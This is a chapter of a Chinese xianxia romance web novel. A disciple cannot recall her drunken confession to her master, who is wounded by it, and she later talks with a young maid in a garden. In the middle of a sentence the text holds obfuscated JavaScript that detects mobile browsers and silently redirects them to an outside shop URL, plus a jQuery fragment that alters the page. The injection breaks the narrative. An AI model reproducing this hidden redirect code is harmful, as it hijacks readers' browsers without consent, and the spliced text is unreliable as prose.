88. 88
作品:《我成了师尊的白月光》 既然有了地方住,他们也不必再回客栈,在蓝家稍作歇息,等过午后去城东即可。
玉奴刚回家还有很多事要忙,待了会又被叫走了,他们不想去花园看戏,便回昨夜住的客房休息。
薄雾褪去,阳光穿过层层叠叠的树枝投在地上,翊贞的身形挡住一部分阳光,他的侧脸也染上模糊朦胧的光彩,茱青仰头看了眼,又低下头。
地上是他的影子,和树影混在一起虚虚实实难以分辨,翊贞背着手向前走,茱青跟在他身后,一脚一脚去踩影子。
翊贞停下脚步,她却来不及停,差点踩到他的靴子。
“玩够了吗?”翊贞冷不丁道。
茱青立刻变得端庄。
她突然想起玉奴说的那些话,脸烧了起来。
她斟酌着语气:“昨天…麻烦师父了。”
“只是麻烦吗?”
翊贞的步子很慢,茱青也不越过他,从后望去,不像是在走路,倒像是两人在约会散步一般。
茱青绞着衣角难为情道:“听说是师父照顾的我。”
“醉得话都说不利索,难为你还记得这些。”
“我是不是说了什么不该说的话?”
“你觉得呢?”
又是这句!
茱青重重叹气,他怎么只会说这句!
不对,她为什么要说“又”,是在哪里听过吗…
她偷偷看向翊贞,他板着脸没有表情,不喜不怒。
其实他是在生气吧,他每次生气都是这样,不打人也不骂人,偏偏就让人心里发毛。
看来她说的话一定很不好。
茱青头越埋越低:“我要是说了冒犯师父、或者让师父不爱听的话,您能不能当没听到…”
“不能。”
翊贞胸口一阵憋闷,她搂着他脖子撒娇,手在他脸上乱摸,大喇喇地往他怀里躺,还说喜欢他,这么他怎么能当做听不见,怎么能当做没有发生。
纵然是醉话,也挑起了他诸多情绪,昨夜他辗转反侧,脑中全是茱青在他怀里的模样,她微微嘟着嘴,柳叶弯眉下是一双如狐狸般狡黠又明亮的眼睛,脸颊香腻胜雪,他才知道原来一个人可以娇憨与妩媚并存,美得让他无端生出占有她的欲念。
他盼着天快亮,盼着快点见到茱青,他早起半个时辰换了最衬身形气质的衣裳,只为等她那一句“喜欢”。
现在她让他当做“没听见”,他又情何以堪。
茱青眼里一点慌张都没有,全是迷惑和不解,翊贞似泄了气般垂下肩,高大的身形在此刻委顿不堪,声音委屈失落:“你昨晚才说过的话,现在都不记得了?”
茱青点点头,她不明白自己究竟说了什么,能让翊贞如此在意。
她道:“我一点都想不起来,您能直接告诉我吗?”
“没什么,想不起来就不要想了。”翊贞浮起无力的微笑,很快他发现自己连假笑都维持不了,再笑怕是比哭都难看。
想不起来,说明他们之间没有缘分罢了。
寥寥几句便到了门口,他看着跟在他身边一直不曾离开的茱青,喉咙像是堵了什么东西般难以开口,良久,他才落寞道:“你去休息吧。”
他关上窗赌住门,解下腰带换掉那身他带着满心喜悦穿上的衣裳,重新用发带束发,打扮成普通模样。
莫名其妙被拒门外的茱青狠下决心,以后滴酒不沾。
免得再让他不高兴。
她想了半天还是不明白翊贞为何这般,郁闷地直捶枕头。
要是她做错什么说错什么直接说出来就好,她从来都乖乖认罚,这次偏要藏着掖着。
这么难相处的人,要是知道她有点喜欢他,翊贞肯定会愤愤指着她怒斥她“大逆不道”吧。
她也觉得自己很不该。
喜欢师父其实是件很难对旁人启齿的事,可是她和翊贞不一样,她没有从小跟着他,没有那么多的顾忌,她喜欢翊贞,仅仅是因为他对她好,她心疼他年轻时受的苦,当然,也是因为他真的很好看。
茱青一条腿耷拉在床边,把自己摊成大饼仰头看房顶,她绞尽脑汁想出各种理由来证明自己喜欢师父很合情合理。
可是谁在意呢?
就算喜欢也不能怎么样,像现在这样平淡地过日子,不让他为这事烦心,才是对他好吧。
茱青想得脑袋都要打结了,发现自己这些迷乱无羁的想法或许只是庸人自扰后,骨碌爬起来开始打坐练功。
静心咒背了十来遍,她才堪堪把浊念抛之脑后。
同样的咒语对她有用,对翊贞却失去了效力。
翊贞沉吟片刻,自觉愧对师父。
师父倾力教他法术,将他培养成太微山最优秀的弟子,此刻他为情所困,竟连最简单的咒语都背得磕磕绊绊。
是以他心中并不痛快,下午搬去蓝知准备的住处时都没有和茱青说几句话。
蓝知说话客气,只说地方小将就住,实际并不小,共四进的小院,翊贞和茱青各住一院,蓝知给了两个干杂活的仆人丫鬟,仆人吴贵住在前院,丫鬟梦心本来要住后罩房,后罩房直通花园,树高幽静到了晚上鸟雀鱼虫窸窸窣窣乱响,梦心才十二,茱青担心她一个小姑娘自己住有危险,就让梦心住她院里的厢房。
梦心年龄虽然小,但手底勤快,做饭洗衣样样来得,闲时还把院里那几盆花儿都浇了,两天相处下来茱青很喜欢她,买了一大包花生糖堆,邀她去花园凉亭里乘凉。
梦心推脱不肯,她从小做奴婢伺候人,也遇到过宽厚的主子,可主子再宽厚,下人也要有自知之明。
“你就当我是朋友,或者是姐姐,陪我说说话吧,我要无聊死了。”茱青才不管凡人那一套尊卑,拉着梦心的手去了花园。
梦心人小心里却亮堂,茱青对她不作假,她也不再扭捏死守规矩,和茱青一同剥花生吃。
梦心生下来就没出过池州,不知外面是什么样,茱青便大讲特讲她和翊贞见义勇为的事,比如她打跑过欺负良家女子的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944087|174520||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恶霸,帮丢了牛的农户找耕牛,打过山贼,替被抢钱的老大爷拿回他包钱的手帕,结果里面还不到十文钱,她不忍老人家忍饥挨饿,在人看不见的地方往手帕里偷偷塞了十两碎银子。
“姑娘为何不把钱直接给那位大爷呢?”梦心道,这样岂不是就没人知道茱青做的好事了。
茱青摇头道:“他走路都要拄棍子,一下有了那么多钱,不更成了地痞流氓眼里的肥肉,我走了他还是要被抢,白白便宜那些好手好脚无所事事的人。”
梦心深深点头,她可真聪明。
梦心又道:“那伙山贼是怎么回事?”
那还是年初的事吧,她和翊贞离开永安城,途径一处深山,天快墨黑,百姓和过往的商客都道此处山贼盘踞常抢劫害人,得赶紧赶路免得遇上贼人,不料话音刚落,左右两边的山上呼啦啦蹿下来十几个山贼,拿着大刀长棍将路过的行人团团围住。
冬天刚过,贼人们在山里沉寂一冬,早就没了新鲜吃食,终于埋伏到一伙人以为能大丰收时,翊贞站了出来。
为首的歹人根本不把长相斯文秀气的翊贞放在眼里,还出言轻浮调戏他身旁的茱青。
翊贞被山贼嘲笑是小白脸都没有生气,却在茱青被人轻慢时面色阴沉,抬眸扫视山贼一圈,缓缓拔剑。
不到两刻钟,翊贞已拿着水囊冲净剑上凝结的污血。
茱青第一次见翊贞杀人,害怕算不上,只觉他有些残忍。
翊贞冷声道:“这些山贼杀人越货害人性命无数,即便我放了他们也不会悔改,反而会因今日空手而归伤害更多人,你可以心软,但别把心软用错地方。”
说话间茱青剥了一把花生,她把花生全塞给梦心,拍了拍手道:“我那时还觉得师父不近人情,现在想想他说得也有道理。”
梦心接连吃着花生,说道:“翊大夫性子虽然冷了些,但心还是好的。”
昨儿吴贵往水缸打水刚好被翊贞瞧见,他二话不说就去给吴贵帮忙,袖子湿了也不在意。
夏季天长又热,两人说着话都有些犯困,园里的树木郁郁葱葱,刚好遮住阳光,时间尚早,便一人一边在亭子里趴着打盹。
时间如水般悄然流逝,太阳在玉兰上投出斑驳陆离的光影,亭子顶遮不住光,一束烈阳照在茱青脸上,几只知了像疯了般扯着嗓子鸣叫,没睡醒的茱青又吵又困还刺眼,憋了一肚子气。
过了会周遭渐渐安静下来,眼皮上的强光也没有了,取而代之的是淡淡清香,茱青睁开眼,头顶是一朵荷叶,恰好为她挡住阳光。
她迷糊着还以为是梦心,抬眼一看居然是玉奴。
茱青猛地坐起,又惊又喜道:“你怎么来了?”
待她清醒定睛细瞧,玉奴嘴角竟肿起核桃大的淤青,眉头竟然也有一块疤,他皮肤白皙,青紫的伤痕在他脸上显得分外骇人。
“谁打的,怎么下手这么狠?”茱青怒道,“我去给你报仇!”
玉奴无力地垂下头:“是二哥打的。”

